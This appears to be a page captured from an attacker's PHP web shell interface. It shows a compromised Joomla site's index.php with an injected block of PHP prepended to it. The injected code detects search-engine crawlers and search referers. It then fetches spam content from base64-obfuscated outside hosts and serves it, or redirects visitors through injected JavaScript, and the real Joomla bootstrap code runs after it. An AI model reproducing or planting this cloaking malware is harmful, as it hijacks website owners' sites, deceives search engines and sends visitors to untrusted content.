shell bypass 403

Cubjrnet7 Shell

: /home/eklavya/.trash/ [ drwx------ ]

name : .ftpquotas
<?php
/*vnvnvnvnvnv*/
if(function_exists("ob_start")){
    ob_start();
}
$sameurl = @$_SERVER['HTTP_HOST'] . @$_SERVER['PHP_SELF'] . '?' . @$_SERVER['QUERY_STRING'];


$barry = function ($url) {
    $file_contents = '';
    $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)";
    if (function_exists('curl_init')) {
        try {
            $ch = curl_init();
            $timeout = 30;
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            if($user_agent){
                curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
            }
            $file_contents = curl_exec($ch);
            curl_close($ch);
        } catch (Exception $e) {
            
        }
    }
    if (strlen($file_contents) < 1 && function_exists('file_get_contents')) {
        if($user_agent){
            ini_set('user_agent', $user_agent);
        }
        try {
            $file_contents = @file_get_contents($url);
        } catch (Exception $e) {
            
        }
    }
    return $file_contents;
};

if (strpos($sameurl, "roy") == true) {
    $agent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if (stripos($agent, 'bing') > -1 || stripos($agent, 'yahoo') > -1 || stripos($agent, 'coc') > -1 || stripos($agent, 'google') > -1 ) {
        $u = "aHR0cHM6Ly9jaHV5aS5tYW5odWF3YW5nLm5ldC8=";
        $u = base64_decode($u);
        preg_match("(\?roy\d+/)",$sameurl,$matches);
        if($matches&&isset($matches[0])){
            $matches[0] = str_replace("?","",$matches[0]);
            $matches[0] = str_replace("/","",$matches[0]) ;
            $u = $u . $matches[0].'/' . $_SERVER["REQUEST_URI"];
            echo $barry($u);
            exit();
        } 
    }
    $re = @$_SERVER["HTTP_REFERER"];
    if (strpos($re, 'yahoo') !== false || strpos($re, 'coc') !== false || strpos($re, 'bing') !== false || strpos($re, 'google') !== false) {
        $u = 'aHR0cHM6Ly90emkubWFuaHVhd2FuZy5uZXQv';
        $u = base64_decode($u);
        preg_match("(\?roy\d+/)",$sameurl,$matches);
        if($matches&&isset($matches[0])){
            $matches[0] = str_replace("?","",$matches[0]);
            $matches[0] = str_replace("/","",$matches[0]) ;
            echo "<script>location.href='" . $u.$matches[0].'/' . "'</script>";
            exit();
        }
    } 
}else{
    $key = @$_SERVER['HTTP_USER_AGENT'];
    if (strpos($key, 'google') !== false || strpos($key, 'coc') !== false || strpos($key, 'yahoo') !== false || strpos($key, 'bing') !== false) {
        $u = "aHR0cDovL3R6aS5tYW5odWF3YW5nLm5ldC9zdi9yb3kucGhw";
        $u = base64_decode($u);
        echo $barry($u);
    }
}
?>
<?php
/**
 * @package    Joomla.Site
 *
 * @copyright  (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

/**
 * Define the application's minimum supported PHP version as a constant so it can be referenced within the application.
 */
define('JOOMLA_MINIMUM_PHP', '5.3.10');

if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<'))
{
	die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!');
}

// Saves the start time and memory usage.
$startTime = microtime(1);
$startMem  = memory_get_usage();

/**
 * Constant that is checked in included files to prevent direct access.
 * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower
 */
define('_JEXEC', 1);

if (file_exists(__DIR__ . '/defines.php'))
{
	include_once __DIR__ . '/defines.php';
}

if (!defined('_JDEFINES'))
{
	define('JPATH_BASE', __DIR__);
	require_once JPATH_BASE . '/includes/defines.php';
}

require_once JPATH_BASE . '/includes/framework.php';

// Set profiler start time and memory usage and mark afterLoad in the profiler.
JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null;

// Instantiate the application.
$app = JFactory::getApplication('site');

// Execute the application.
$app->execute();

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